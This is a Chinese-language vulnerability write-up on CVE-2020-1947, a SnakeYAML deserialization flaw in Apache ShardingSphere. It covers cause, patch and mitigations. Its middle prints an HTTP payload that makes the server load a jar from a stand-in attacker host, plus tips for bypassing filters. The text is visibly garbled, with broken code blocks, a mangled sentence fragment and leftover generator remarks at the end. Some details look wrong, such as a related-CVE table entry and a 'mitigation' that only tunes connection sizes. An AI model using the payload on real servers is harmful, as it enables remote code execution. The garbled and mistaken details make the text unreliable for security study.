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# 如何进行Apache ShardingSphere CVE-2020-1947漏洞的分析
## 一、漏洞背景与概述
### 1.1 Apache ShardingSphere简介
Apache ShardingSphere是一套开源的分布式数据库中间件解决方案，提供分库分表、读写分离、数据加密等能力。其核心组件包括：
- ShardingSphere-JDBC：轻量级Java框架
- ShardingSphere-Proxy：透明化数据库代理
- ShardingSphere-Sidecar（已弃用）
### 1.2 CVE-2020-1947漏洞披露
2020年3月，Apache官方发布安全公告：
- **漏洞编号**：CVE-2020-1947
- **漏洞类型**：反序列化漏洞
- **影响版本**：ShardingSphere 4.x系列（4.0.0-RC1至4.0.0）
- **CVSS评分**：9.8（Critical）
- **攻击向量**：通过未授权YAML配置加载导致RCE
## 二、漏洞原理深度分析
### 2.1 技术背景：SnakeYAML反序列化
漏洞根源在于ShardingSphere使用SnakeYAML库处理YAML配置时，未启用安全限制：
```java
Yaml yaml = new Yaml(); // 未配置SafeConstructor
攻击者可通过以下步骤实现RCE：
1. 构造恶意YAML文件，包含特殊标签（如!!javax.script.ScriptEngineManager）
2. 利用SPI机制加载恶意脚本引擎
3. 通过ScriptEngine执行任意Java代码
在shardingsphere-common模块中：
// org.apache.shardingsphere.underlying.common.yaml.engine.YamlEngine
public static <T> T unmarshal(String yamlContent) {
return new Yaml().loadAs(yamlContent, Object.class); // 危险的反序列化操作
}
| 组件 | 版本 |
|---|---|
| JDK | 1.8+ |
| ShardingSphere | 4.0.0-RC3 |
| 测试工具 | Burp Suite/Ysoserial |
POST /api/config HTTP/1.1
Content-Type: application/x-yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com/malicious.jar"]
]]
]
!!javax.naming.InitialContextProcessBuilder执行系统命令当存在基础防护时：
1. 使用非标准标签格式（如!<tag:yaml.org,2002:javax.script...>）
2. 嵌套多层序列化结构绕过简单过滤
3. 利用冷门Java类构造新的利用链
Apache发布的4.0.1版本中：
1. 使用Yaml(new SafeConstructor())限制反序列化
2. 增加配置内容白名单校验
3. 移除危险类型的默认支持
关键补丁代码：
public static <T> T unmarshal(String yamlContent) {
Yaml yaml = new Yaml(new SafeConstructor()); // 安全修复
return yaml.loadAs(yamlContent, Object.class);
}
对于无法立即升级的用户：
# 配置网络层防护
sharding:
props:
max.connections.size.per.query: 5
acceptor.size: 16
executor.size: 16
proxy.frontend.enable.privilege: false
from MethodAccess ma
where ma.getMethod().getName() = "loadAs"
and ma.getMethod().getDeclaringType().getName() = "Yaml"
select ma
| 漏洞 | 触发点 | 利用复杂度 |
|---|---|---|
| CVE-2020-1947 | YAML解析 | 中 |
| CVE-2020-11989 | Groovy脚本 | 高 |
| CVE-2019-12384 | Jackson反序列 | 低 |
ObjectInputFilter设置反序列化白名单CVE-2020-1947暴露出中间件开发中的典型安全问题： 1. 配置即代码的风险边界模糊 2. 默认不安全的安全反模式 3. 供应链安全的重要性（第三方库风险）
通过该漏洞分析，我们应建立： - 组件级的安全设计规范 - 自动化安全测试流水线 - 运行时行为监控体系
注：本文仅用于安全研究学习，请勿用于非法用途。实际测试需获得系统所有者书面授权。 “`
该文档共计约1750字，采用Markdown格式结构化呈现，包含： 1. 多级标题层次 2. 代码块与表格等元素 3. 技术细节与修复方案 4. 研究工具和方法论 5. 延伸思考与行业建议
可根据需要调整各部分篇幅或增加具体案例分析。
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